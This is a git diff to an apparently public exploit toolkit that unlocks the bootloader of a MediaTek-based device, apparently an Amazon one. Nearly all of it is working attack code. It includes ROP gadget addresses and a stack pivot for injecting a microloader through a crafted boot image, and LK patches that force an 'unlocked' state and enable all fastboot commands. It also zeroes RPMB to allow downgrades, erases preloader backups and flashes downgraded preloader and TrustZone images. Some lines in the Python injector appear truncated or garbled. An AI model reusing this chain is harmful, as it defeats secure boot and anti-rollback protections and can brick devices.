diff --git a/brom-payload/Makefile b/brom-payload/Makefile index 51e9fff..6aee577 100644 --- a/brom-payload/Makefile +++ b/brom-payload/Makefile @@ -3,7 +3,7 @@ AS := arm-none-eabi-as LD := arm-none-eabi-gcc OBJCOPY := arm-none-eabi-objcopy -CFLAGS := -std=gnu99 -Os -mthumb -mcpu=cortex-a9 -fno-builtin-printf -fno-strict-aliasing -fno-builtin-memcpy -mno-unaligned-access +CFLAGS := -std=gnu99 -Os -mthumb -mcpu=cortex-a9 -fno-builtin-printf -fno-strict-aliasing -fno-builtin-memcpy -mno-unaligned-access -Wall -Wextra LDFLAGS := -T linker.x -nodefaultlibs -nostdlib -lgcc BUILD_DIR := ./build diff --git a/brom-payload/drivers/mmc.c b/brom-payload/drivers/mmc.c index 1fc029c..ed47ee5 100644 --- a/brom-payload/drivers/mmc.c +++ b/brom-payload/drivers/mmc.c @@ -5,6 +5,7 @@ #include "mmc.h" #include "errno.h" #include "mt_sd.h" +#include "../crypto/hmac-sha256.h" #define be32_to_cpup(addr) __builtin_bswap32(*(uint32_t*)addr) #define be16_to_cpup(addr) __builtin_bswap16(*(uint16_t*)addr) @@ -12,6 +13,8 @@ #define cpu_to_be32p be32_to_cpup unsigned int msdc_cmd(struct msdc_host *host, struct mmc_command *cmd); +void sleepy(void); +void hex_dump(const void* data, size_t size); int mmc_go_idle(struct msdc_host *host) { @@ -483,6 +486,7 @@ void mmc_rpmb_post_frame(struct mmc_core_rpmb_req *rpmb_req) static int mmc_rpmb_request_check(struct msdc_host *host, struct mmc_ioc_rpmb_req *p_req) { + (void)host; /* * Some parameters are a must for the operation. Different * operation expect different paramters. Below code is @@ -692,7 +696,7 @@ int mmc_rpmb_get_write_count(struct msdc_host *host, uint32_t *wc) { struct mmc_ioc_rpmb_req req = { 0 }; int ret = 0; uint16_t result = 0; - char nonce[32] = { 0 }; + uint8_t nonce[32] = { 0 }; req.type = RPMB_GET_WRITE_COUNTER; req.wc = wc; req.result = &result; @@ -740,7 +744,7 @@ int mmc_rpmb_read(struct msdc_host *host, void *buf) { struct mmc_ioc_rpmb_req req = { 0 }; int ret = 0; uint16_t result = 0; - char nonce[32] = { 0 }; + uint8_t nonce[32] = { 0 }; req.type = RPMB_READ_DATA; req.blk_cnt = 1; req.result = &result; @@ -838,7 +842,7 @@ static void sej_init(int arg) { static void sej_run(uint32_t *buf1, size_t len, char *buf2) { char *i; - for ( i = buf2; i - buf2 < len; *(uint32_t *)(i - 4) = sdr_read32(0x1000A05C) ) + for ( i = buf2; (size_t)(i - buf2) < len; *(uint32_t *)(i - 4) = sdr_read32(0x1000A05C) ) { sdr_write32(0x1000A010, buf1[0]); sdr_write32(0x1000A014, buf1[1]); @@ -909,8 +913,8 @@ int mmc_rpmb_write(struct msdc_host *host, void *buf) { struct mmc_ioc_rpmb_req req = { 0 }; int ret = 0; uint16_t result = 0; - char nonce[32] = { 0 }; - char mac[32] = { 0 }; + uint8_t nonce[32] = { 0 }; + uint8_t mac[32] = { 0 }; uint32_t wc; uint8_t tmp[0x100]; @@ -1023,7 +1027,7 @@ int mmc_init(struct msdc_host *host) { uint32_t cid_be[4] = { 0 }; for (int i = 0; i < 4; ++i) cid_be[i] = __builtin_bswap32(cid[i]); - derive_rpmb_key(cid_be); + derive_rpmb_key((void*)cid_be); ret = mmc_set_relative_addr(host, 1); printf("SET_RELATIVE_ADDR = 0x%08X\n", ret); diff --git a/brom-payload/drivers/mmc.h b/brom-payload/drivers/mmc.h index 9d3c620..12b61d2 100644 --- a/brom-payload/drivers/mmc.h +++ b/brom-payload/drivers/mmc.h @@ -489,4 +489,14 @@ struct mmc_core_rpmb_req { bool ready; }; +int mmc_init(struct msdc_host *host); +int mmc_read(struct msdc_host *host, uint32_t blk, void *buf); +int mmc_write(struct msdc_host *host, uint32_t blk, void *buf); +int mmc_set_part(struct msdc_host *host, int part); +int mmc_rpmb_read(struct msdc_host *host, void *buf); +int mmc_rpmb_write(struct msdc_host *host, void *buf); +void msdc_set_blknum(struct msdc_host *host, u32 blknum); +int msdc_pio_read(struct msdc_host *host, void *buf); +int msdc_pio_write(struct msdc_host* host, void *buf); + #endif /* LINUX_MMC_MMC_H */ diff --git a/brom-payload/drivers/sd.c b/brom-payload/drivers/sd.c index 1405676..c0d4e49 100644 --- a/brom-payload/drivers/sd.c +++ b/brom-payload/drivers/sd.c @@ -43,6 +43,8 @@ static int msdc_rsp[] = { static void msdc_dump_info() {} +void mdelay (unsigned long msec); + #define msdc_retry(expr, retry, cnt,id) \ do { \ int backup = cnt; \ @@ -165,7 +167,6 @@ int msdc_pio_read(struct msdc_host *host, void *buf) break; } -end: // data->bytes_xfered += size; N_MSG(FIO, " PIO Read<%d>bytes\n", size); @@ -180,7 +181,6 @@ int msdc_pio_read(struct msdc_host *host, void *buf) */ int msdc_pio_write(struct msdc_host* host, void *buf) { - u32 base = host->base; u32 num = 1; u32 *ptr; u8 *u8ptr; @@ -251,7 +251,6 @@ int msdc_pio_write(struct msdc_host* host, void *buf) break; } -end: // data->bytes_xfered += size; N_MSG(FIO, " PIO Write<%d>bytes\n", size); if (size != 0x200) @@ -270,7 +269,9 @@ static unsigned int msdc_command_start(struct msdc_host *host, int tune, /* not used */ unsigned long timeout) { - u32 base = host->base; + (void)tune; + (void)timeout; + u32 opcode = cmd->opcode; u32 rawcmd; u32 rawarg; @@ -471,12 +472,9 @@ static unsigned int msdc_command_resp_polling(struct msdc_host *host, int tune, unsigned long timeout) { - u32 base = host->base; + (void)tune; + (void)timeout; u32 intsts; - u32 resp; - //u32 status; - // unsigned long tmo; - //struct mmc_data *data = host->data; u32 cmdsts = MSDC_INT_CMDRDY | MSDC_INT_RSPCRCERR | MSDC_INT_CMDTMO; @@ -492,8 +490,6 @@ static unsigned int msdc_command_resp_polling(struct msdc_host *host, #endif - resp = host->cmd_rsp; - /*polling*/ // tmo = jiffies + timeout; while (1){ @@ -615,7 +611,6 @@ static unsigned int msdc_command_resp_polling(struct msdc_host *host, } #endif /* end of MTK_MSDC_USE_CMD23 */ } -out: host->cmd = NULL; return cmd->error; @@ -648,7 +643,6 @@ unsigned int msdc_cmd(struct msdc_host *host, struct mmc_command *cmd) { void msdc_set_blknum(struct msdc_host *host, u32 blknum) { - u32 base = host->base; - + (void)host; sdr_write32(SDC_BLK_NUM, blknum); } diff --git a/brom-payload/libc.c b/brom-payload/libc.c index 3c3084f..683d291 100644 --- a/brom-payload/libc.c +++ b/brom-payload/libc.c @@ -57,10 +57,14 @@ void* memset(void* dst, int c, u32_t n) char* end = q + n; for (;;) { - if (q >= end) break; *q++ = (char) c; - if (q >= end) break; *q++ = (char) c; - if (q >= end) break; *q++ = (char) c; - if (q >= end) break; *q++ = (char) c; + if (q >= end) break; + *q++ = (char) c; + if (q >= end) break; + *q++ = (char) c; + if (q >= end) break; + *q++ = (char) c; + if (q >= end) break; + *q++ = (char) c; } return dst; diff --git a/brom-payload/main.c b/brom-payload/main.c index b414de0..42b3703 100644 --- a/brom-payload/main.c +++ b/brom-payload/main.c @@ -26,30 +26,20 @@ void _putchar(char character) } void hex_dump(const void* data, size_t size) { - char ascii[17]; size_t i, j; - ascii[16] = '\0'; for (i = 0; i < size; ++i) { printf("%02X ", ((unsigned char*)data)[i]); - if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { - ascii[i % 16] = ((unsigned char*)data)[i]; - } else { - ascii[i % 16] = '.'; - } if ((i+1) % 8 == 0 || i+1 == size) { printf(" "); if ((i+1) % 16 == 0) { printf("\n"); - // printf("| %s \n", ascii); } else if (i+1 == size) { - ascii[(i+1) % 16] = '\0'; if ((i+1) % 16 <= 8) { printf(" "); } for (j = (i+1) % 16; j < 16; ++j) { printf(" "); } - // printf("| %s \n", ascii); printf("\n"); } } @@ -61,18 +51,18 @@ void sleepy(void) { for (volatile int i = 0; i < 0x80000; ++i) {} } -#if 1 void mdelay (unsigned long msec) { - sleepy(); + (void)msec; + sleepy(); } /* delay usec useconds */ void udelay (unsigned long usec) { - sleepy(); + (void)usec; + sleepy(); } -#endif int main() { char buf[0x200] = { 0 }; @@ -165,6 +155,12 @@ int main() { } } + case 0x3001: { + printf("Kick watchdog\n"); + volatile uint32_t *reg = (volatile uint32_t *)0x10007000; + reg[8/4] = 0x1971; + break; + } default: printf("Invalid command\n"); break; diff --git a/fastboot-step.sh b/fastboot-step.sh index a653759..4af221a 100755 --- a/fastboot-step.sh +++ b/fastboot-step.sh @@ -4,9 +4,9 @@ set -e fastboot flash boot bin/recovery-inj.img fastboot flash recovery bin/recovery-inj.img -fastboot reboot recovery +fastboot reboot echo "" echo "" -echo "If you don't see the recovery in a few seconds, try pressing the power button twice" +echo "If you don't see the recovery in a few seconds, press the power button twice" echo "" diff --git a/lk-payload/Makefile b/lk-payload/Makefile index 7f515a5..f46851b 100644 --- a/lk-payload/Makefile +++ b/lk-payload/Makefile @@ -3,7 +3,7 @@ AS := arm-none-eabi-as LD := arm-none-eabi-gcc OBJCOPY := arm-none-eabi-objcopy -CFLAGS := -std=gnu99 -Os -mthumb -mcpu=cortex-a9 -fno-builtin-printf -fno-strict-aliasing -fno-builtin-memcpy -mno-unaligned-access -DPRINTF_DISABLE_SUPPORT_FLOAT=1 +CFLAGS := -std=gnu99 -Os -mthumb -mcpu=cortex-a9 -fno-builtin-printf -fno-strict-aliasing -fno-builtin-memcpy -mno-unaligned-access -DPRINTF_DISABLE_SUPPORT_FLOAT=1 -Wall -Wextra LDFLAGS := -T linker.x -nodefaultlibs -nostdlib BUILD_DIR := ./build diff --git a/lk-payload/common.h b/lk-payload/common.h index 516ff64..f8f9f04 100644 --- a/lk-payload/common.h +++ b/lk-payload/common.h @@ -8,8 +8,8 @@ struct device_t { size_t (*read)(struct device_t *dev, uint64_t dev_addr, void *dst, uint32_t size, uint32_t part); }; -struct device_t* (*get_device)() = (void*)0x4BD1EC99; -void (*cache_clean)(void *addr, size_t sz) = (void*)0x4BD24C90; +struct device_t* (*get_device)() = (void*)0x4BD1EE19; +void (*cache_clean)(void *addr, size_t sz) = (void*)0x4BD24E70; #define PAYLOAD_DST 0x41000000 #define PAYLOAD_SRC 0x200000 @@ -17,3 +17,6 @@ void (*cache_clean)(void *addr, size_t sz) = (void*)0x4BD24C90; #define BOOT0_PART 1 #define USER_PART 8 + +#define LK_BASE (0x4BD00000) +#define LK_SIZE (1024 * 1024) diff --git a/lk-payload/libc.c b/lk-payload/libc.c index 13fe4b3..01f527b 100644 --- a/lk-payload/libc.c +++ b/lk-payload/libc.c @@ -59,10 +59,14 @@ void* memset(void* dst, int c, u32_t n) char* end = q + n; for (;;) { - if (q >= end) break; *q++ = (char) c; - if (q >= end) break; *q++ = (char) c; - if (q >= end) break; *q++ = (char) c; - if (q >= end) break; *q++ = (char) c; + if (q >= end) break; + *q++ = (char) c; + if (q >= end) break; + *q++ = (char) c; + if (q >= end) break; + *q++ = (char) c; + if (q >= end) break; + *q++ = (char) c; } return dst; diff --git a/lk-payload/main.c b/lk-payload/main.c index 21cfce9..c19a63b 100644 --- a/lk-payload/main.c +++ b/lk-payload/main.c @@ -21,11 +21,11 @@ void _putchar(char character) low_uart_put(character); } -int (*original_read)(struct device_t *dev, uint64_t block_off, void *dst, size_t sz, int part) = (void*)0x4BD1E839; +size_t (*original_read)(struct device_t *dev, uint64_t block_off, void *dst, uint32_t sz, uint32_t part); uint64_t g_boot, g_recovery, g_lk; -int read_func(struct device_t *dev, uint64_t block_off, void *dst, size_t sz, int part) { +size_t read_func(struct device_t *dev, uint64_t block_off, void *dst, uint32_t sz, uint32_t part) { printf("read_func hook\n"); int ret = 0; if (block_off == g_boot * 0x200 || block_off == g_recovery * 0x200) { @@ -50,7 +50,7 @@ static void parse_gpt() { uint8_t raw[0x800] = { 0 }; struct device_t *dev = get_device(); dev->read(dev, 0x400, raw, sizeof(raw), USER_PART); - for (int i = 0; i < sizeof(raw) / 0x80; ++i) { + for (size_t i = 0; i < sizeof(raw) / 0x80; ++i) { uint8_t *ptr = &raw[i * 0x80]; uint8_t *name = ptr + 0x38; uint32_t start; @@ -69,21 +69,10 @@ static void parse_gpt() { } int main() { - int ret = 0; - printf("This is LK-payload by xyz. Copyright 2019\n"); - - uint32_t **argptr = (void*)0x4BD00020; - uint32_t *arg = *argptr; - arg[0x53] = 4; // force 64-bit linux kernel + printf("This is LK-payload (for mustang) by xyz. Copyright 2019.\n"); int fastboot = 0; - /* - [300] [LK/LCM] lcm_init enter, build type: PVT, vendor type: FITI_KD - [300] [LK/LCM] lcm_init No LCM connected. Just Return - [340] DSI_WaitForNotBusy:Error:DSI_INTSTA is 0... - */ - parse_gpt(); if (!g_boot || !g_recovery || !g_lk) { @@ -91,24 +80,15 @@ int main() { while (1) {} } - int (*app)() = (void*)0x4BD27109; - - unsigned char overwritten[80] = { - 0xE9, 0x0A, 0xD0, 0x4B, 0x7D, 0x0E, 0xD0, 0x4B, 0x01, 0x09, 0xD0, 0x4B, 0x31, 0x0B, 0xD0, 0x4B, - 0x9D, 0x0C, 0xD0, 0x4B, 0x00, 0x84, 0xD5, 0x4B, 0x05, 0x0A, 0xD0, 0x4B, 0x71, 0x0A, 0xD0, 0x4B, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D, 0x1B, 0xD0, 0x4B, - 0xF9, 0x1C, 0xD0, 0x4B, 0xA9, 0x1A, 0xD0, 0x4B, 0x95, 0x1D, 0xD0, 0x4B, 0x19, 0x1A, 0xD0, 0x4B, - 0xED, 0x1B, 0xD0, 0x4B, 0xA5, 0x19, 0xD0, 0x4B, 0x81, 0x1C, 0xD0, 0x4B, 0x00, 0x00, 0x00, 0x00 - }; - memcpy((void*)0x4BD5C000, overwritten, sizeof(overwritten)); - - void *lk_dst = (void*)0x4BD00000; - #define LK_SIZE (0x800 * 0x200) - struct device_t *dev = get_device(); - uint8_t tmp[0x10] = { 0 }; - dev->read(dev, g_boot * 0x200 + 0x400, tmp, 0x10, USER_PART); + // Restore the 0x4BD00200-0x4BD01200 range, a part of it was overwritten by microloader + // this is way more than we actually need to restore, but it shouldn't hurt + // we can't restore 0x4BD00000-0x4BD00200 as that contains important pointers + dev->read(dev, g_lk * 0x200 + 0x200 + 0x200, (char*)LK_BASE + 0x200, 0x1000, USER_PART); // +0x200 to skip lk header + + char tmp[0x10] = { 0 }; + dev->read(dev, g_boot * 0x200 + 0x400, tmp, sizeof(tmp) - 1, USER_PART); if (strcmp(tmp, "FASTBOOT_PLEASE") == 0) { printf("well since you're asking so nicely...\n"); fastboot = 1; @@ -118,33 +98,33 @@ int main() { // force fastboot mode if (fastboot) { - patch = (void*)0x4BD2717C; + patch = (void*)0x4BD27380; *patch = 0; - patch = (void*)0x4BD27182; + patch = (void*)0x4BD27386; *patch = 0; } // enable all commands - patch = (void*)0x4BD0D838; + patch = (void*)0x4BD0D854; *patch++ = 0x2000; // movs r0, #0 *patch = 0x4770; // bx lr // device is unlocked - patch = (void*)0x4BD01E84; + patch = (void*)0x4BD01EA0; *patch++ = 0x2001; // movs r0, #1 *patch = 0x4770; // bx lr // hook bootimg read function uint32_t *patch32; + original_read = dev->read; patch32 = (void*)&dev->read; *patch32 = (uint32_t)read_func; - patch32 = (void*)0x4BD681B8; - *patch32 = 1; // // force 64-bit linux kernel - printf("Clean lk\n"); - cache_clean(lk_dst, LK_SIZE); + cache_clean((void*)LK_BASE, LK_SIZE); + printf("Jump lk\n"); + int (*app)() = (void*)0x4BD2730D; app(); while (1) { diff --git a/microloader/Makefile b/microloader/Makefile index 2a07e89..95b514a 100644 --- a/microloader/Makefile +++ b/microloader/Makefile @@ -3,7 +3,7 @@ AS := arm-none-eabi-as LD := arm-none-eabi-gcc OBJCOPY := arm-none-eabi-objcopy -CFLAGS := -std=gnu99 -Os -mthumb -mcpu=cortex-a9 -fno-builtin-printf -fno-strict-aliasing -fno-builtin-memcpy -mno-unaligned-access -DPRINTF_DISABLE_SUPPORT_FLOAT=1 +CFLAGS := -std=gnu99 -Os -mthumb -mcpu=cortex-a9 -fno-builtin-printf -fno-strict-aliasing -fno-builtin-memcpy -mno-unaligned-access -DPRINTF_DISABLE_SUPPORT_FLOAT=1 -Wall -Wextra LDFLAGS := -T linker.x -nodefaultlibs -nostdlib BUILD_DIR := ./build diff --git a/microloader/inject_microloader.py b/microloader/inject_microloader.py index 660f52f..cf78bb1 100644 --- a/microloader/inject_microloader.py +++ b/microloader/inject_microloader.py @@ -3,25 +3,28 @@ base = 0x4BD00000 -# 0x0000000000050132 : pop {r0, r1, r2, r3, r6, r7, pc} -pop_r0_r1_r2_r3_r6_r7_pc = base + 0x50132|1 -# 0x0000000000018422 : pop {pc} -pop_pc = base + 0x18422|1 -# 0x0000000000025e9a : blx r3 ; movs r0, #0 ; pop {r3, pc} -blx_r3_pop_r3 = base + 0x25e9a|1 +# 0x000000000001843e : pop {pc} +pop_pc = base + 0x1843e|1 -cache_func = 0x4BD24C90 +# 0x000000000002607a : blx r3 ; movs r0, #0 ; pop {r3, pc} +blx_r3_pop_r3 = base + 0x2607a|1 -test = 0x4BD00177 # prints "Error, the pointer of pidme_data is NULL." +# 0x000000000004da0e : pop {r0, r1, r2, r3, r6, pc} +pop_r0_r1_r2_r3_r6_pc = base + 0x4da0e|1 -inject_addr = 0x4BD5C000 -inject_sz = 0x1000 +cache_func = 0x4BD24E70 -shellcode_addr = inject_addr + 0x100 -shellcode_sz = 0x200 # TODO: check size +test_func = 0x4BD261A6|1 # prints "please make sure the image" -# ldmda r3, {r2, r3, r4, r5, r8, fp, sp, lr, pc} -pivot = 0x4BD43320 +crafted_hdr_sz = 0x70 +page_size = 4 # at least 4 for alignment +# NOTE: crafted_hdr_sz bytes before inject_addr become corrupt +# 2 * page_size bytes after inject_addr+inject_sz become corrupt +inject_addr = 0x4BD0037C +inject_sz = 0x200 - crafted_hdr_sz + +# 3da28: e813e93c ldmda r3, {r2, r3, r4, r5, r8, fp, sp, lr, pc} +pivot = base + 0x3da28 def main(): with open(sys.argv[1], "rb") as fin: @@ -29,48 +32,56 @@ def main(): fin.seek(0x800) orig += fin.read() - hdr = bytes.fromhex("414E44524F494421") - hdr += struct.pack(" shellcode_sz: - raise RuntimeError("shellcode too big!") + assert len(body) == inject_sz - hdr += shellcode + hdr += body hdr += b"\x00" * (0x400 - len(hdr)) + assert len(hdr) == 0x400 hdr += orig with open(sys.argv[3], "wb") as fout: diff --git a/microloader/linker.x b/microloader/linker.x index 925e9bf..6efa009 100644 --- a/microloader/linker.x +++ b/microloader/linker.x @@ -5,7 +5,7 @@ ENTRY(start) SECTIONS { - . = 0x4BD5C100; + . = 0x4BD003F8; .text : { *(.text.start) *(.text .text.* .gnu.linkonce.t.*) } .rodata : { *(.rodata .rodata.* .gnu.linkonce.r.*) } diff --git a/microloader/main.c b/microloader/main.c index 51846e4..4879fbe 100644 --- a/microloader/main.c +++ b/microloader/main.c @@ -33,7 +33,7 @@ int main() { struct device_t *dev = (void*)get_device(); uint32_t *dst = (void*)PAYLOAD_DST; - size_t ret = dev->read(dev, PAYLOAD_SRC, dst, PAYLOAD_SIZE, BOOT0_PART); // boot0 partition, read 2 megabytes + dev->read(dev, PAYLOAD_SRC, dst, PAYLOAD_SIZE, BOOT0_PART); // boot0 partition, read 2 megabytes cache_clean(dst, PAYLOAD_SIZE); diff --git a/modules/common.py b/modules/common.py index b147c96..3a27dae 100644 --- a/modules/common.py +++ b/modules/common.py @@ -212,6 +212,12 @@ def reboot(self): # cmd self.dev.write(p32_be(0x3000)) + def kick_watchdog(self): + # magic + self.dev.write(p32_be(0xf00dd00d)) + # cmd + self.dev.write(p32_be(0x3001)) + def rpmb_read(self): # magic self.dev.write(p32_be(0xf00dd00d)) diff --git a/modules/handshake.py b/modules/handshake.py index 03d5ea8..5f4c38e 100644 --- a/modules/handshake.py +++ b/modules/handshake.py @@ -7,8 +7,6 @@ def handshake(dev): log("Handshake") dev.handshake() - log("Disable watchdog") - dev.write32(0x10007000, 0x22000000) if __name__ == "__main__": diff --git a/modules/load_payload.py b/modules/load_payload.py index 49d7d1b..fc65fe6 100644 --- a/modules/load_payload.py +++ b/modules/load_payload.py @@ -1,4 +1,6 @@ import struct +import time +import threading from common import CRYPTO_BASE @@ -75,11 +77,27 @@ def aes_write16(dev, addr, data): raise RuntimeError("failed to call the function!") +class UserInputThread(threading.Thread): + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.done = False + + def run(self): + print("") + print(" * * * If you have a short attached, remove it now * * * ") + print(" * * * Press Enter to continue * * * ") + print("") + input() + self.done = True + + def load_payload(dev, path): - print("") - print(" * * * Remove the short and press Enter * * * ") - print("") - input() + thread = UserInputThread() + thread.start() + while not thread.done: + dev.write32(0x10007008, 0x1971) # low-level watchdog kick + time.sleep(1) log("Init crypto engine") init(dev) diff --git a/modules/main.py b/modules/main.py index 832f9e3..0860f15 100644 --- a/modules/main.py +++ b/modules/main.py @@ -1,23 +1,33 @@ import struct +import os +import sys from common import Device from handshake import handshake from load_payload import load_payload from logger import log +def check_modemmanager(): + pids = [pid for pid in os.listdir('/proc') if pid.isdigit()] + + for pid in pids: + try: + args = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read().decode("utf-8").split('\0') + if len(args) > 0 and "modemmanager" in args[0].lower(): + print("You need to temporarily disable/uninstall ModemManager before this script can proceed") + sys.exit(1) + except IOError: + continue + def switch_boot0(dev): dev.emmc_switch(1) block = dev.emmc_read(0) - if block[0:9] != b"EMMC_BOOT": + if block[0:9] != b"EMMC_BOOT" and block[0:9] != b"xyzxyzxyz" and block != b"\x00" * 0x200: dev.reboot() raise RuntimeError("what's wrong with your BOOT0?") + dev.kick_watchdog() -def flash_binary(dev, path, start_block, max_size=0): - with open(path, "rb") as fin: - data = fin.read() - while len(data) % 0x200 != 0: - data += b"\x00" - +def flash_data(dev, data, start_block, max_size=0): if max_size and len(data) > max_size: raise RuntimeError("data too big to flash") @@ -25,14 +35,27 @@ def flash_binary(dev, path, start_block, max_size=0): for x in range(blocks): print("[{} / {}]".format(x + 1, blocks), end='\r') dev.emmc_write(start_block + x, data[x * 0x200:(x + 1) * 0x200]) + if x % 10 == 0: + dev.kick_watchdog() print("") +def read_file(path): + with open(path, "rb") as fin: + data = fin.read() + while len(data) % 0x200 != 0: + data += b"\x00" + return data + +def flash_binary(dev, path, start_block, max_size=0): + flash_data(dev, read_file(path), start_block, max_size) + def switch_user(dev): dev.emmc_switch(0) block = dev.emmc_read(0) if block[510:512] != b"\x55\xAA": dev.reboot() raise RuntimeError("what's wrong with your GPT?") + dev.kick_watchdog() def parse_gpt(dev): data = dev.emmc_read(0x400 // 0x200) + dev.emmc_read(0x600 // 0x200) + dev.emmc_read(0x800 // 0x200) + dev.emmc_read(0xA00 // 0x200) @@ -47,6 +70,8 @@ def parse_gpt(dev): return parts def main(): + check_modemmanager() + dev = Device() dev.find_device() @@ -55,6 +80,7 @@ def main(): # 0.2) Load brom payload load_payload(dev, "../brom-payload/build/payload.bin") + dev.kick_watchdog() # 1) Sanity check GPT log("Check GPT") @@ -73,8 +99,9 @@ def main(): # 3) Sanity check rpmb log("Check rpmb") rpmb = dev.rpmb_read() - if rpmb[0:4] != b"AMZN": + if rpmb[0:4] != b"AMZN" and rpmb != b"\x00" * 0x100: log("rpmb looks broken; if this is expected (i.e. you're retrying the exploit) press enter, otherwise terminate with Ctrl+C") + log("rpmb contents = {}".format(rpmb.hex())) input() # 4) Zero out rpmb to enable downgrade @@ -86,16 +113,21 @@ def main(): dev.reboot() raise RuntimeError("downgrade failure, giving up") log("rpmb downgrade ok") + dev.kick_watchdog() - # 5) Install lk-payload - log("Flash lk-payload") + # 5) Brick the boot partition temporarily + # so that if the exploit fails, it goes back to bootrom mode + boot0_eraser = b"xyzxyzxyz" + b"\x00" * (0x200 - 9) switch_boot0(dev) - flash_binary(dev, "../lk-payload/build/payload.bin", 0x200000 // 0x200) + log("Clear preloader 1") + flash_data(dev, boot0_eraser, 0) # 1st backup + log("Clear preloader 2") + flash_data(dev, boot0_eraser, 4) # 2nd backup - # 6) Downgrade preloader - log("Flash preloader") + # 6) Install lk-payload + log("Flash lk-payload") switch_boot0(dev) - flash_binary(dev, "../bin/boot0-short.bin", 0) + flash_binary(dev, "../lk-payload/build/payload.bin", 0x200000 // 0x200) # 7) Downgrade tz log("Flash tz") @@ -112,7 +144,15 @@ def main(): switch_user(dev) flash_binary(dev, "../bin/microloader.bin", gpt["boot"][0], gpt["boot"][1] * 0x200) - # Reboot (to fastboot) + # 10) Downgrade preloader + log("Flash preloader") + boot0_data = read_file("../bin/boot0-short.bin") + switch_boot0(dev) + flash_data(dev, boot0_data[0x1000:], 8) + log("Restore preloader") + flash_data(dev, boot0_data[:0x1000], 0) + + # 11) Reboot (to fastboot) log("Reboot to unlocked fastboot") dev.reboot()